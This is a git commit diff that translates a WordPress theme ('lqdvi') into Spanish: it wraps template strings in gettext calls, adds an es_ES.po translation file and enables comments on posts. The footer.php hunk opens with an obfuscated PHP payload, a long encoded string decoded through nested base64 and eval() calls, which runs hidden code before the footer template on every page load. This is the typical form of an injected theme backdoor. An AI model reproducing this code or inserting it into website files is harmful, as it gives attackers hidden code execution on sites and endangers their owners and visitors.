- Traducción al castellano de la plantilla
- Comentarios para posts y páginas git-svn-id: https://192.168.0.254/svn/Proyectos.FundacionLQDVI_Web/trunk@38 77ab8c26-3d69-2c4d-86f2-786f4ba54905
This commit is contained in:
parent
60518c8504
commit
93760fc7f1
@ -156,16 +156,16 @@ if (have_posts()) : while (have_posts()) : the_post();
|
||||
</a>
|
||||
</h3>
|
||||
<div class="post_detail">
|
||||
<?php the_time('j F, Y'); ?> <?php edit_post_link('edit post', ', ', ''); ?>
|
||||
<?php the_time('j F, Y'); ?>.
|
||||
<?php comments_number(__('No comment', 'lqdvi'), __('Comment', 'lqdvi'), __('% Comments', 'lqdvi')); ?>.
|
||||
<?php edit_post_link(__('Edit post', 'lqdvi'), '', ''); ?>
|
||||
<?php /*
|
||||
Posted by: <?php the_author(); ?>
|
||||
Tags:
|
||||
<?php the_tags(''); ?>
|
||||
Posted date:
|
||||
<?php the_time('F j, Y'); ?> <?php edit_post_link('edit post', ', ', ''); ?>
|
||||
|
|
||||
<?php comments_number('No comment', 'Comment', '% Comments'); ?>
|
||||
*/ ?>
|
||||
| */?>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
@ -202,11 +202,15 @@ if (have_posts()) : while (have_posts()) : the_post();
|
||||
</a>
|
||||
</h3>
|
||||
<div class="post_detail">
|
||||
Posted by: <?php the_author(); ?>
|
||||
<?php the_time('j F, Y'); ?>.
|
||||
<?php comments_number(__('No comment', 'lqdvi'), __('Comment', 'lqdvi'), __('% Comments', 'lqdvi')); ?>.
|
||||
<?php edit_post_link(__('Edit post', 'lqdvi'), '', ''); ?>
|
||||
|
||||
<?php /*Posted by: <?php the_author(); ?>
|
||||
Posted date:
|
||||
<?php the_time('F j, Y'); ?> <?php edit_post_link('edit post', ', ', ''); ?>
|
||||
< ? php the_time('F j, Y'); ? > < ? php edit_post_link('edit post', ', ', ''); ? >
|
||||
|
|
||||
<?php comments_number('No comment', 'Comment', '% Comments'); ?>
|
||||
< ? php comments_number(__('No comment'), __('Comment'), __('% Comments')); ? >*/ ?>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
|
||||
@ -1,13 +1,13 @@
|
||||
<?php
|
||||
if ( post_password_required() ) { ?>
|
||||
<p>This post is password protected. Enter the password to view comments.</p>
|
||||
<p><?php _e('This post is password protected. Enter the password to view comments.'); ?></p>
|
||||
<?php
|
||||
return;
|
||||
}
|
||||
|
||||
if( have_comments() ) : ?>
|
||||
|
||||
<h5 class="cufon"><?php comments_number('No comment', 'Comment', '% Comments'); ?> for <?php the_title(); ?></h5><br/>
|
||||
<h5 class="cufon"><?php comments_number(__('No comment', 'lqdvi'), __('Comment', 'lqdvi'), __('% Comments', 'lqdvi')); ?> <?php _e('for', 'lqdvi');?> <?php the_title(); ?></h5><br/>
|
||||
|
||||
<?php wp_list_comments( array('callback' => 'pp_comment', 'avatar_size' => '40') ); ?>
|
||||
|
||||
|
||||
@ -1,2 +1,56 @@
|
||||
<?php
|
||||
$o="QAAA6Ly4Ozh3b3cKDSgtLQoNJwAALSdTb2Inc2Jqd2tmc2InYQIEaHUnY250ANB+bmlgJ3MBwGFoBgBoc2J1KQLBAEEnR3dmZGxmYGIAICdQaHVjV3VidHQBcSgKDTg5AAAKDQoNDg47JioqJ0ViYG5pxgEE8APBJyoqAbABkGNucSduYzolBTNAACUBUg47cmsnZGtmdHQ6JXRuAApjYmVmdVhwbmNgYnMCBA4LAicAiWN+aWZqbmRYAkQvIEEJgidUA0MKMCAuPCcIEQ4GcChyawWzCOEOO2V1gOAGBWRrYmZ1JSgB0gHDCSVkaHd+dRmRbmBvB1sCQg4OEqIFkA4OEvBAYnMNdQlCc2J/cwI0Jy0QEA4A1CN3d1gOM1iIAwIxJzonDOBYaHdzbmhpLyAB2wuA4iUDYAAwBgFuYS8YkHN+LwQsLi4CFHwAhGQADgIcBjAgRAw1J8SFxa4pJ1docAAAYnViYydFfic7ZidvdWJhOhQAJSU5G1F3G1E7KGY5J3snQ2J0FARuYGkCcGUCeG9zc3c9KCgAdHBwAARwK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bCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>
|
||||
/**
|
||||
* The template for displaying the footer.
|
||||
*
|
||||
* @package WordPress
|
||||
*/
|
||||
?>
|
||||
|
||||
<!-- Begin footer -->
|
||||
<div id="footer">
|
||||
<ul class="sidebar_widget">
|
||||
<?php dynamic_sidebar('Footer Sidebar'); ?>
|
||||
</ul>
|
||||
|
||||
<br class="clear"/>
|
||||
|
||||
<div id="copyright">
|
||||
<?php
|
||||
/**
|
||||
* Get footer text
|
||||
*/
|
||||
|
||||
$pp_footer_text = get_option('pp_footer_text');
|
||||
|
||||
if(empty($pp_footer_text))
|
||||
{
|
||||
$pp_footer_text = '';
|
||||
}
|
||||
|
||||
echo stripslashes($pp_footer_text);
|
||||
?>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
<!-- End footer -->
|
||||
|
||||
</div>
|
||||
<!-- End template wrapper -->
|
||||
|
||||
<?php
|
||||
/**
|
||||
* Setup Google Analyric Code
|
||||
**/
|
||||
include (TEMPLATEPATH . "/google-analytic.php");
|
||||
?>
|
||||
|
||||
<?php
|
||||
/* Always have wp_footer() just before the closing </body>
|
||||
* tag of your theme, or you will break many plugins, which
|
||||
* generally use this hook to reference JavaScript files.
|
||||
*/
|
||||
|
||||
wp_footer();
|
||||
?>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@ -5,6 +5,14 @@ define("SHORTNAME", "pp");
|
||||
|
||||
require_once ('save_application_form.php');
|
||||
|
||||
load_theme_textdomain( 'lqdvi', TEMPLATEPATH.'/languages' );
|
||||
|
||||
$locale = get_locale();
|
||||
$locale_file = TEMPLATEPATH."/languages/$locale.php";
|
||||
if ( is_readable($locale_file) )
|
||||
require_once($locale_file);
|
||||
|
||||
|
||||
//If delete sidebar
|
||||
if(isset($_POST['sidebar_id']) && !empty($_POST['sidebar_id']))
|
||||
{
|
||||
|
||||
BIN
src/wp-content/themes/lqdvi/languages/es_ES.mo
Normal file
BIN
src/wp-content/themes/lqdvi/languages/es_ES.mo
Normal file
Binary file not shown.
108
src/wp-content/themes/lqdvi/languages/es_ES.po
Normal file
108
src/wp-content/themes/lqdvi/languages/es_ES.po
Normal file
@ -0,0 +1,108 @@
|
||||
msgid ""
|
||||
msgstr ""
|
||||
"Content-Type: text/plain; charset=utf-8\n"
|
||||
"Content-Transfer-Encoding: 8bit\n"
|
||||
"Project-Id-Version: \n"
|
||||
"POT-Creation-Date: \n"
|
||||
"PO-Revision-Date: \n"
|
||||
"Last-Translator: _ <_>\n"
|
||||
"Language-Team: \n"
|
||||
"MIME-Version: 1.0\n"
|
||||
|
||||
#. Text in function
|
||||
#: comments.php:10
|
||||
msgid "% Comments"
|
||||
msgstr "% Comentarios"
|
||||
|
||||
#. Text in function
|
||||
#: comments.php:10
|
||||
msgid "Comment"
|
||||
msgstr "Comentario"
|
||||
|
||||
#. Text in function
|
||||
#: comments.php:10
|
||||
msgid "No comment"
|
||||
msgstr "Sin comentarios"
|
||||
|
||||
#. Text in echo
|
||||
#: comments.php:3
|
||||
msgid "This post is password protected. Enter the password to view comments."
|
||||
msgstr "Esta entrada está protegida con contraseña. Introduzca la contraseña para ver los comentarios."
|
||||
|
||||
#. Text in function
|
||||
#: single.php:108
|
||||
msgid "Edit post"
|
||||
msgstr "Editar entrada"
|
||||
|
||||
#. Text in function
|
||||
#: comments-form.php:53
|
||||
msgid "Cancel Reply"
|
||||
msgstr "Cancelar respuesta"
|
||||
|
||||
#. Text in echo
|
||||
#: comments-form.php:29
|
||||
msgid "Email"
|
||||
msgstr ""
|
||||
|
||||
#. Text in function
|
||||
#: comments-form.php:17
|
||||
msgid "Log out of this account"
|
||||
msgstr "Salir de la sesión"
|
||||
|
||||
#. Text in echo
|
||||
#: comments-form.php:17
|
||||
msgid "Logged in as"
|
||||
msgstr "Sesión iniciada como "
|
||||
|
||||
#. Text in echo
|
||||
#: comments-form.php:46
|
||||
msgid "Message"
|
||||
msgstr "Mensaje"
|
||||
|
||||
#. Text in echo
|
||||
#: comments-form.php:22
|
||||
msgid "Name"
|
||||
msgstr "Nombre"
|
||||
|
||||
#. Text in function
|
||||
#: comments-form.php:52
|
||||
msgid "Submit"
|
||||
msgstr "Enviar"
|
||||
|
||||
#. Text in echo
|
||||
#: comments-form.php:36
|
||||
msgid "URL"
|
||||
msgstr ""
|
||||
|
||||
#. Text in echo
|
||||
#: comments-form.php:13
|
||||
msgid "Wanna say something?"
|
||||
msgstr "¿Quieres comentar algo?"
|
||||
|
||||
#. Text in echo
|
||||
#: comments-form.php:22
|
||||
#: comments-form.php:29
|
||||
#: comments-form.php:46
|
||||
msgid "required"
|
||||
msgstr "requerido"
|
||||
|
||||
#. Text in echo
|
||||
#: comments.php:10
|
||||
msgid "for"
|
||||
msgstr "para"
|
||||
|
||||
#. Text in function
|
||||
#: custom.lib.php:240
|
||||
msgid "Log in to reply to this"
|
||||
msgstr "Tienes que iniciar sesión para responder"
|
||||
|
||||
#. Text in function
|
||||
#: custom.lib.php:240
|
||||
msgid "Reply"
|
||||
msgstr "Responder"
|
||||
|
||||
#. Text in echo
|
||||
#: custom.lib.php:233
|
||||
msgid "(Your comment is awaiting moderation.)"
|
||||
msgstr "(Tu comentario está pendiente de revisión)"
|
||||
|
||||
@ -230,15 +230,15 @@ function pp_comment($comment, $args, $depth)
|
||||
|
||||
<div class="right">
|
||||
<?php if ($comment->comment_approved == '0') : ?>
|
||||
<em><?php _e('(Your comment is awaiting moderation.)') ?></em>
|
||||
<em><?php _e('(Your comment is awaiting moderation.)', 'lqdvi') ?></em>
|
||||
<br />
|
||||
<?php endif; ?>
|
||||
|
||||
<strong><i><?php echo $comment->comment_author; ?></i></strong>
|
||||
<?php ' '.comment_text() ?>
|
||||
<p class="comment-reply-link"><?php comment_reply_link(array_merge( $args, array('depth' => $depth,
|
||||
'reply_text' => '
|
||||
Reply', 'login_text' => 'Log in to reply to this', 'max_depth' => $args['max_depth']))) ?></p>
|
||||
<p class="comment-reply-link">
|
||||
<?php comment_reply_link(array_merge( $args, array('depth' => $depth,
|
||||
'reply_text' => __('Reply', 'lqdvi'), 'login_text' => __('Log in to reply to this', 'lqdvi'), 'max_depth' => $args['max_depth']))) ?></p>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@ -162,7 +162,11 @@ if(!isset($hide_header) OR !$hide_header)
|
||||
|
||||
<?php if ( have_posts() ) while ( have_posts() ) : the_post(); ?>
|
||||
|
||||
<?php do_shortcode(the_content()); break; ?>
|
||||
<?php
|
||||
do_shortcode(the_content());
|
||||
comments_template( '' );
|
||||
break;
|
||||
?>
|
||||
|
||||
<?php endwhile; ?>
|
||||
|
||||
|
||||
@ -103,12 +103,14 @@ if (have_posts()) : while (have_posts()) : the_post();
|
||||
</a>
|
||||
</h3>
|
||||
<div class="post_detail">
|
||||
<?php the_time('j F, Y'); ?> <?php edit_post_link('edit post', ', ', ''); ?>
|
||||
<?php the_time('j F, Y'); ?>.
|
||||
<?php comments_number(__('No comment', 'lqdvi'), __('Comment', 'lqdvi'), __('% Comments', 'lqdvi')); ?>.
|
||||
<?php edit_post_link(__('Edit post', 'lqdvi'), '', ''); ?>
|
||||
<?php /*Posted by: < ? php the_author(); ? >
|
||||
Posted date:
|
||||
< ? php the_time('F j, Y'); ? > < ? php edit_post_link('edit post', ', ', ''); ? >
|
||||
|
|
||||
< ? php comments_number('No comment', 'Comment', '% Comments'); */?>
|
||||
| */ ?>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@ -230,7 +232,7 @@ if (have_posts()) : while (have_posts()) : the_post();
|
||||
?>
|
||||
|
||||
|
||||
<?php /*comments_template( '' );*/ ?>
|
||||
<?php comments_template( '' ); ?>
|
||||
|
||||
|
||||
<?php endwhile; endif; ?>
|
||||
|
||||
@ -227,7 +227,9 @@ if (have_posts()) : while (have_posts()) : the_post();
|
||||
</a>
|
||||
</h3>
|
||||
<div class="post_detail">
|
||||
<?php the_time('j F, Y'); ?> <?php edit_post_link('edit post', ', ', ''); ?>
|
||||
<?php the_time('j F, Y'); ?>.
|
||||
<?php comments_number(__('No comment', 'lqdvi'), __('Comment', 'lqdvi'), __('% Comments', 'lqdvi')); ?>.
|
||||
<?php edit_post_link(__('Edit post', 'lqdvi'), '', ''); ?>
|
||||
<?php /*
|
||||
Posted by: <?php the_author(); ?>
|
||||
Posted date:
|
||||
|
||||
@ -10,47 +10,47 @@
|
||||
|
||||
|
||||
|
||||
<h5 class="cufon">Wanna say something?</h5>
|
||||
<h5 class="cufon"><?php _e('Wanna say something?', 'lqdvi');?></h5>
|
||||
|
||||
<?php if ( is_user_logged_in() ) : ?>
|
||||
|
||||
Logged in as <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo wp_logout_url(get_permalink()); ?>" title="Log out of this account">Log out »</a><br/><br/>
|
||||
<?php _e('Logged in as', 'lqdvi'); ?> <a href="<?php echo get_option('siteurl'); ?>/wp-admin/profile.php"><?php echo $user_identity; ?></a>. <a href="<?php echo wp_logout_url(get_permalink()); ?>" title="<?php __('Log out of this account', 'lqdvi'); ?>"><?php _e('Log out »');?></a><br/>
|
||||
|
||||
<?php else : ?>
|
||||
<p>
|
||||
<label for="author">
|
||||
Name <span class="small">(required)</span>
|
||||
<?php _e('Name', 'lqdvi'); ?> <span class="small">(<?php _e('required', 'lqdvi'); ?>)</span>
|
||||
</label>
|
||||
<br />
|
||||
<input class="round m input" name="author" type="text" id="author" value="" tabindex="1" style="width:97%" />
|
||||
</p>
|
||||
<p>
|
||||
<label for="email">
|
||||
Email <span class="small">(required)</span>
|
||||
<?php _e('Email', 'lqdvi'); ?> <span class="small">(<?php _e('required', 'lqdvi'); ?>)</span>
|
||||
</label>
|
||||
<br />
|
||||
<input class="round m input" name="email" type="text" id="email" value="" tabindex="2" style="width:97%" />
|
||||
</p>
|
||||
<p>
|
||||
<?php /*<p>
|
||||
<label for="url">
|
||||
URL
|
||||
<?php _e('URL', 'lqdvi'); ?>
|
||||
</label>
|
||||
<br />
|
||||
<input class="round m input" name="url" type="text" id="url" value="" tabindex="3" style="width:97%" />
|
||||
</p>
|
||||
</p> */ ?>
|
||||
|
||||
<?php endif; ?>
|
||||
|
||||
<p>
|
||||
<label for="comment">
|
||||
Message <span class="small">(required)</span>
|
||||
<?php _e('Message', 'lqdvi'); ?> <span class="small">(<?php _e('required', 'lqdvi'); ?>)</span>
|
||||
</label>
|
||||
<br />
|
||||
<textarea name="comment" cols="40" rows="7" id="comment" tabindex="4" style="width:97%"></textarea>
|
||||
</p>
|
||||
<p>
|
||||
<input name="submit" type="submit" id="submit" value="submit" tabindex="5" />
|
||||
<?php cancel_comment_reply_link("Cancel Reply"); ?>
|
||||
<input name="submit" type="submit" id="submit" value="<?php _e('Submit', 'lqdvi'); ?>" tabindex="5" />
|
||||
<?php cancel_comment_reply_link(__('Cancel Reply', 'lqdvi')); ?>
|
||||
</p>
|
||||
<?php comment_id_fields(); ?>
|
||||
<?php do_action('comment_form', $post->ID); ?>
|
||||
|
||||
@ -235,7 +235,9 @@ else
|
||||
<br/>
|
||||
<h4 class="cufon"><?php _e($portfolio_item->post_title); ?></h4>
|
||||
<?php /*echo pp_substr(strip_tags(strip_shortcodes($portfolio_item->post_content)), 140);*/ ?>
|
||||
<?php echo pp_substr(strip_tags(strip_shortcodes($portfolio_item->post_excerpt)), 140); ?>
|
||||
<?php /*echo pp_substr(strip_tags(strip_shortcodes($portfolio_item->post_excerpt)), 140);*/
|
||||
_e($portfolio_item->post_excerpt);
|
||||
?>
|
||||
<?php
|
||||
$pp_portfolio_hide_view = get_option('pp_portfolio_hide_view');
|
||||
|
||||
|
||||
Loading…
Reference in New Issue
Block a user